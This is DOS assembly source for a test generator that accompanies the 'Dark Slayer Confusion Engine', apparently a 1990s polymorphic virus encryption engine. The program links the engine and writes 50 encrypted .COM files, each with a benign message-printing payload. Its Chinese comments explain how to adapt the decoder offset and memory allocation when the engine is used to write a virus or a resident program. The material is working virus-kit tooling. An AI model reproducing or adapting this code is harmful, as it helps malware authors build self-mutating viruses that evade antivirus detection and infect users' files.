
; Dark Slayer Confusion Engine v1.0 <04-19-94>
;     Written by Dark Slayer in Keelung, Taiwan <R.O.C>

DSCE_GEN SEGMENT
         ASSUME  CS:DSCE_GEN,DS:DSCE_GEN
         ORG     0100h

MSG_ADDR EQU     OFFSET MSG-OFFSET PROC_START-0007h

         EXTRN   DSCE:NEAR,DSCE_END:NEAR
         EXTRN   RND:NEAR

                      ; 以下程式，除了要注意的地方有注解，其它部份自己研究

START:
         MOV     AH,09h
         MOV     DX,OFFSET DG_MSG
         INT     21h

         MOV     AX,OFFSET DSCE_END+000Fh ; 本程式 + DSCE+000Fh 之後的位址
                                   ; 若減 0100h 則成為本程式 + DSCE 的長度

         MOV     CL,04h
         SHR     AX,CL
         MOV     BX,CS
         ADD     BX,AX

         MOV     ES,BX                   ; 設 ES 用來放解碼程式和被編碼資料
                                                ; 解碼程式最大為 1024 Bytes
                                ; 若用在常駐程式時，則須注意分配的記憶體大小

         MOV     CX,50
DG_L0:
         PUSH    CX
         MOV     AH,3Ch
         XOR     CX,CX
         MOV     DX,OFFSET FILE_NAME
         INT     21h
         XCHG    BX,AX

         MOV     BP,0100h                                ; 解碼程式偏移位址
                                       ; 用來寫毒時則依欲感染檔案之大小而設

         MOV     CX,OFFSET PROC_END-OFFSET PROC_START    ; 被編碼程式的長度

         MOV     DX,OFFSET PROC_START         ; DS:DX -> 要被編碼的程式位址

         PUSH    BX                                      ; 保存 File handle

         CALL    RND
         XCHG    BX,AX
         CALL    DSCE

         POP     BX

         MOV     AH,40h        ; 返回時 DS:DX = 解碼程式 + 被編碼程式的位址
         INT     21h     ; CX = 解碼程式 + 被編碼程式的長度，其它暫存器不變

         MOV     AH,3Eh
         INT     21h

         PUSH    CS
         POP     DS                                          ; 將 DS 設回來

         MOV     BX,OFFSET FILE_NUM
         INC     BYTE PTR DS:[BX+0001h]
         CMP     BYTE PTR DS:[BX+0001h],'9'
         JBE     DG_L1
         INC     BYTE PTR DS:[BX]
         MOV     BYTE PTR DS:[BX+0001h],'0'
DG_L1:
         POP     CX
         LOOP    DG_L0
         MOV     AH,4Ch
         INT     21h

FILE_NAME DB     '000000'
FILE_NUM DB      '00.COM',00h

DG_MSG   DB      'Generates 50 DSCE encrypted test files.',0Dh,0Ah,'$'

PROC_START:
         PUSH    CS
         POP     DS
         MOV     AH,09h
         CALL    $+0003h
         POP     DX
         ADD     DX,MSG_ADDR
         INT     21h
         INT     20h
MSG      DB      'Dark Slayer !!$'
PROC_END:

DSCE_GEN ENDS
         END     START
